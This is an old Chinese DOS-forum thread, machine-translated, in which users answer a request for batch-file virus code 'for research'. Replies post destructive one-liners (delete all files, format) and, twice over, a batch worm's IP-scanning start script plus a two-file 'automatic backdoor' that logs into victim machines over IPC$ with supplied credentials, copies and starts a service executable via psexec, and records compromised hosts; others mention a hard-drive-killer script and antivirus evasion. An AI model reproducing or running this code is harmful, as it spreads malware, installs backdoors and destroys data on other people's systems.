China DOS Union
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!
中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » Asking, is there any virus code compiled with bat for research purposes.
View 1,710 Replies 7
Original Poster
Posted 2006-12-13 05:34 · 中国 陕西 咸阳 联通
初级用户
★
Credits 38
Posts 16
Joined 2006-12-09 22:37
19-year member
UID 73059
Gender Male
From 乡下
Posts 16
Joined 2006-12-09 22:37
19-year member
UID 73059
Gender Male
From 乡下
Status Offline
Floor 2
Posted 2006-12-13 05:41 · 中国 广西 玉林 博白县 电信
金牌会员
★★★★
Credits 3,687
Posts 1,467
Joined 2005-08-08 12:00
20-year member
UID 44210
Posts 1,467
Joined 2005-08-08 12:00
20-year member
UID 44210
Status Offline
There are:
del/q *.*
rd/q *
format
^_^
del/q *.*
rd/q *
format
^_^
Floor 3
Posted 2006-12-13 05:45 · 中国 江苏 南京 电信
高级用户
★★
Credits 623
Posts 214
Joined 2006-09-22 20:48
19-year member
UID 63387
Posts 214
Joined 2006-09-22 20:48
19-year member
UID 63387
Status Offline
Bat.Worm.Muma virus's starting script:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
The following is the automatic backdoor.
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
The following is the automatic backdoor.
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
Floor 4
Posted 2006-12-13 05:46 · 中国 河北 廊坊 三河市 移动
金牌会员
★★★★
Credits 2,725
Posts 1,160
Joined 2006-09-23 12:00
19-year member
UID 63486
From 河北廊坊
Posts 1,160
Joined 2006-09-23 12:00
19-year member
UID 63486
From 河北廊坊
Status Offline
Hard Drive Killer (Australian Version) Batch Source Code
I once saved the code as *.bat and was immediately killed by Kaspersky ^_^
I once saved the code as *.bat and was immediately killed by Kaspersky ^_^
三人行，必有吾师焉。 学然后知不足，教然后知困，然后能自强也。
Floor 5
Posted 2006-12-13 05:49 · 中国 上海 电信
Come on, TXT can also be detected, but I saw a BAT SHELL saying there is a way to get around it, heh heh
Floor 6
Posted 2006-12-13 05:57 · 中国 甘肃 平凉 电信
Without IPC$, psexec can't be used. Actually, the above one is for the extremely insecure bugs.
Floor 7
Posted 2006-12-13 06:14 · 中国 湖北 武汉 电信
版主
★★★★★
Credits 11,386
Posts 4,938
Joined 2006-07-23 17:10
20-year member
UID 59080
Posts 4,938
Joined 2006-07-23 17:10
20-year member
UID 59080
Status Offline
@copy windrv32.exe\\%1\admin$\system32
Is there a syntax error?
Floor 8
Posted 2006-12-13 13:03 · 中国 陕西 咸阳 电信
初级用户
★
Credits 38
Posts 16
Joined 2006-12-09 22:37
19-year member
UID 73059
Gender Male
From 乡下
Posts 16
Joined 2006-12-09 22:37
19-year member
UID 73059
Gender Male
From 乡下
Status Offline
What destructive power does the virus above have?
Forum Jump: